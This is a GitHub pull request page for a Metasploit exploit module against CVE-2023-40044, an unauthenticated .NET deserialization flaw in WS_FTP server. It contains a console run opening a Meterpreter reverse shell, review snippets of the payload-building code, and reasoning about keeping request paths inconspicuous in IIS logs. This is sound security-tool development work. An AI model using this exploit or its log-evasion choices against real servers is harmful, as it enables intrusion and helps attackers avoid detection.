Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit module for CVE-2023-40044 (WS_FTP unauthenticated RCE) #18414

Merged
merged 6 commits into from Oct 4, 2023

Conversation

sfewer-r7
Copy link
Contributor

This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP server prior to 8.7.4 and 8.8.2 are vulnerable to this issue. The vulnerability was originally discovered by AssetNote.

For a full technical analysis of the vulnerability read the Rapid7 AttackerKB Analysis.

msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected a build date of 28-2-2023
[*] Sending stage (200774 bytes) to 192.168.86.50
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:49771) at 2023-10-02 11:46:47 +0100

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > 

@smcintyre-r7 smcintyre-r7 self-assigned this Oct 2, 2023
@smcintyre-r7 smcintyre-r7 added module docs hotness Something we're really excited about rn-modules release notes for new or majorly enhanced modules labels Oct 2, 2023
'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP server
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP server
execution against a vulnerable WS_FTP server running the installed by default Ad Hoc Transfer module. All versions of WS_FTP server

'Description' => %q{
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP server
prior to 8.7.4 and 8.8.2 are vulnerable to this issue. The vulnerability was originally discovered by AssetNote.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
prior to 8.7.4 and 8.8.2 are vulnerable to this issue. The vulnerability was originally discovered by AssetNote.
prior to 8.7.4 and 8.8.2 are vulnerable to this issue.

)
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shouldn't this method use TARGET_URI?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The TARGET_URI is only used in the exploit method to trigger the vulnerability. The default value /AHT/ works, but due to the how the underlying vuln works, you can change the TARGET_URI to be anything so long as it begins with /AHT/. You may want to do this to affect what appears in the IIS logs.

It would not make sense to use it in the check method as we want to get specific URI's to determine the vulnerable state of the target.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You might want to either document this, or even better, simply use a random string?

Copy link
Contributor Author

@sfewer-r7 sfewer-r7 Oct 3, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fair point, I will add some documentation around this. My thinking on keeping the TARGET_URI as /AHT/ is that it looks less suspicious in the logs than using something like a random string, e.g the IIS log entry:

2023-10-03 09:07:56 192.168.86.50 POST /AHT/ - 443 - 192.168.86.42 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/114.0.0.0+Safari/537.36+Edg/114.0.1823.51 - 302 0 0 277

compared to this (I manually edited the below to create an example):

2023-10-03 09:07:56 192.168.86.50 POST /AHT/shfkshkjs - 443 - 192.168.86.42 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/114.0.0.0+Safari/537.36+Edg/114.0.1823.51 - 302 0 0 277

However I wanted to keep the TARGET_URI as a user option to allow for configuration if needed (e.g. testing detection rules or whatever).

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added some comments and a better OptString description in 2eacb75

title = Nokogiri::HTML(res.body).xpath('//head/title')&.text

# We verify the target is running the AHT module, by inspecting the HTML heads title.
if title == 'Ad Hoc Transfer'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if title == 'Ad Hoc Transfer'
if title != 'Ad Hoc Transfer'
CheckCode::Unknown
endif

Inverting the condition will reduce the nested indentation level :)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I liked how the fall through for the check method ends with CheckCode::Unknown and there is no other path to return CheckCode::Unknown. 3 levels of indentation seems acceptable to me. Happy to do it differently if there is a preferred convention on this.

…n number (e.g. 8.8.2) in a more consistent way.
…T_URI option is for and why it defaults to /AHT/
@jvoisin
Copy link
Contributor

jvoisin commented Oct 3, 2023

The download link for the free/trial version has been taken down

Comment on lines 130 to 131
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is no longer necessary. You should be able to completely remove this code, the mixin inclusion, and the target definition. Users can now use the powershell adapter payloads added in #16548 (one of cmd/windows/powershell/*).

As a module author, the adapters allow you to simply define the command target and the framework will handle the rest.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's cool, I didn't realize this existed! Implemented in 1be8e02

Comment on lines 150 to 155
data = "--#{boundary}\r\n"
data << "name: #{rand_text_alphanumeric(8)}\r\n"
data << "\r\n"
data << "::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n"
data << "--#{boundary}–\r\n"
data << "\r\n"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can this be updated to use the rex-mime API?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Implemented in 8431d11

…andle this for us (thanks Spencer). Increate the space to handle the larger powershell command lines. I tested with cmd/windows/powershell/x64/meterpreter/reverse_tcp and the powershell command length was 4404.
…ed to work but also allows all the 3 gadget chains I tested to work. ClaimsPrincipal and TypeConfuseDelegate will fail if the space is too large.
@smcintyre-r7
Copy link
Contributor

Code all looks good to me now. Due to Progress taking down the trail of WS_FTP, I was unable to get this installed. @sfewer-r7 shared a video demonstration of both the latest and a previous version along with the corresponding PCAPs which demonstrate that this exploit module is working as intended.

I'll have this landed in a moment. Thank you Stephen!

@smcintyre-r7 smcintyre-r7 merged commit 9eb0c33 into rapid7:master Oct 4, 2023
34 checks passed
@sfewer-r7
Copy link
Contributor Author

Super, thank you @smcintyre-r7 and @jvoisin for reviewing this.

@grantwillcoxh3ai
Copy link

Quick question but shouldn't there be two targets for this? Documentation implies you can use the windows/x64/meterpreter/reverse_tcp payload and use a target 1 for Windows Powershell? Seems like the exploit only supports one target right now so just wanted to double check that.

@sfewer-r7
Copy link
Contributor Author

good catch @grantwillcoxh3ai, thanks. I forgot to update the doc after commit 1be8e02. I will submit a fix for this in a little while.

@sfewer-r7
Copy link
Contributor Author

I opened #18424 to update the documentation, apologies for missing this first time around.

@grantwillcoxh3ai
Copy link

All good, thanks for clarifying! 👍

@jharris-r7
Copy link

Release Notes

This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP server prior to 8.7.4 and 8.8.2 are vulnerable to this issue. The vulnerability was originally discovered by AssetNote.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs hotness Something we're really excited about module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants